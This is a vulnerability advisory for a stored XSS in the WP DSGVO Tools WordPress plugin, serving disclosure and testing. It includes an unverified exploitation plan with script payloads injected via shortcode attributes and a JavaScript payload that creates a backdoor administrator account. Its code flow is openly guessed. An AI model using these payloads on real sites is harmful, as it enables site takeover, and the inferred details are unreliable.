CVE-2026-0914

WP DSGVO Tools (GDPR) <= 3.1.36 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'lw_content_block' Shortcode

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
3.1.37
Patched in
2d
Time to patch

Description

The WP DSGVO Tools (GDPR) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'lw_content_block' shortcode in all versions up to, and including, 3.1.36 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.1.36
PublishedJanuary 22, 2026
Last updatedJanuary 23, 2026
Affected pluginshapepress-dsgvo

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan targets **CVE-2026-0914**, a Stored Cross-Site Scripting (XSS) vulnerability in the **WP DSGVO Tools (GDPR)** plugin. ### 1. Vulnerability Summary The `WP DSGVO Tools (GDPR)` plugin registers a shortcode `[lw_content_block]` intended to display specific compliance-related content…

Show full research plan

This research plan targets CVE-2026-0914, a Stored Cross-Site Scripting (XSS) vulnerability in the WP DSGVO Tools (GDPR) plugin.

1. Vulnerability Summary

The WP DSGVO Tools (GDPR) plugin registers a shortcode [lw_content_block] intended to display specific compliance-related content blocks. In versions up to and including 3.1.36, the callback function associated with this shortcode fails to sanitize or escape user-provided attributes before rendering them back to the page. Because WordPress allows users with the Contributor role and above to create posts and use shortcodes, an attacker can inject malicious JavaScript into a shortcode attribute. This script is then stored in the post content and executes in the browser of any user (including administrators) who views the post.

2. Attack Vector Analysis

  • Shortcode: [lw_content_block]
  • Vulnerable Attributes: Likely id, title, or slug (inferred).
  • Authentication Level: Authenticated (Contributor or higher).
  • Preconditions: The plugin must be active.
  • Vector: Post/Page creation or update. The payload is delivered via the post_content parameter in a WordPress post creation request.

3. Code Flow (Inferred)

  1. Registration: The plugin uses add_action( 'init', ... ) to call add_shortcode( 'lw_content_block', [ $this, 'render_content_block' ] ).
  2. Input: A Contributor saves a post containing [lw_content_block id='"><script>alert(1)</script>'].
  3. Processing: When a user views the post, WordPress parses the shortcode and calls the handler (e.g., render_content_block( $atts )).
  4. Vulnerable Sink: The handler extracts attributes using shortcode_atts(). It likely uses one of these attributes (e.g., $atts['id']) directly in an HTML string:
    • return '<div id="lw-' . $atts['id'] . '">...</div>';
  5. Output: Because $atts['id'] is not wrapped in esc_attr(), the payload breaks out of the id attribute and injects a <script> tag.

4. Nonce Acquisition Strategy

To exploit this as a Contributor via the automated agent, you must obtain a valid nonce for post creation/editing.

  1. Login: Log in to the WordPress dashboard as a user with the Contributor role.
  2. Access Post Editor: Navigate to /wp-admin/post-new.php.
  3. Extract Nonce: Use browser_eval to extract the required nonces for the WordPress heartbeats or post submission.
    • Primary Nonce: The _wpnonce field in the #post_author_override or simply the one provided in the wp-admin globals.
    • JS Variable: browser_eval("wp.apiFetch.nonce") or browser_eval("document.querySelector('#_wpnonce').value").
  4. REST API Alternative: If the Gutenberg editor is used, nonces are often found in window.wpApiSettings.nonce.

5. Exploitation Strategy

The goal is to create a new post as a Contributor containing the malicious shortcode and then verify it executes for an Administrator.

Step 1: Create the Post

  • Tool: http_request
  • Method: POST
  • URL: http://localhost:8080/wp-admin/post.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • action: editpost
    • post_ID: (Obtained from the post-new.php visit)
    • _wpnonce: (Extracted nonce)
    • post_title: GDPR Compliance Check
    • content: [lw_content_block id='"><script>alert(document.domain)</script>']
    • post_status: publish (or pending if Contributor cannot publish; the XSS will still fire in the preview)

Step 2: Trigger the XSS

  • Tool: browser_navigate
  • URL: The permalink of the newly created post.
  • Observation: The browser should trigger an alert box showing the domain.

6. Test Data Setup

  1. Install Plugin: Ensure shapepress-dsgvo version 3.1.36 is installed.
  2. Create User:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
    
  3. Create Dummy Content (Optional): Create a legitimate content block via the plugin settings if the shortcode requires an existing ID to render (though usually, the attribute is reflected even if the lookup fails).

7. Expected Results

  • The HTTP response for the post creation should be a 302 redirect to the post editor.
  • The HTML source of the rendered post should contain:
    <div id="lw-""><script>alert(document.domain)</script>">...</div>
    
  • The JavaScript payload should execute automatically upon page load.

8. Verification Steps

  1. Database Check:
    wp db query "SELECT post_content FROM wp_posts WHERE post_title='GDPR Compliance Check'"
    
  2. Response Inspection:
    Use http_request (GET) on the post URL and grep for the raw payload:
    # (Example logic for the agent)
    # Check if the payload is escaped or raw
    grep -q "<script>alert(document.domain)</script>" response_body.html
    

9. Alternative Approaches

  • Attribute Variations: If id is sanitized, try slug, title, or class.
  • Attribute Breakout: Try breaking out of a different context, such as a class:
    [lw_content_block id='1' class='x" onmouseover="alert(1)"']
  • Action Hijacking: Instead of alert(), use a payload that attempts to create a new admin user by fetching a nonce from /wp-admin/user-new.php and POSTing to the same.

Payload for Admin Account Creation (Conceptual):

fetch('/wp-admin/user-new.php').then(r=>r.text()).then(h=>{
  let n=h.match(/name="_wpnonce_create-user" value="([^"]+)"/)[1];
  fetch('/wp-admin/user-new.php',{
    method:'POST',
    headers:{'Content-Type':'application/x-www-form-urlencoded'},
    body:`action=createuser&_wpnonce_create-user=${n}&user_login=backdoor&email=evil@evil.com&pass1=Password123!&pass2=Password123!&role=administrator`
  })
})

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.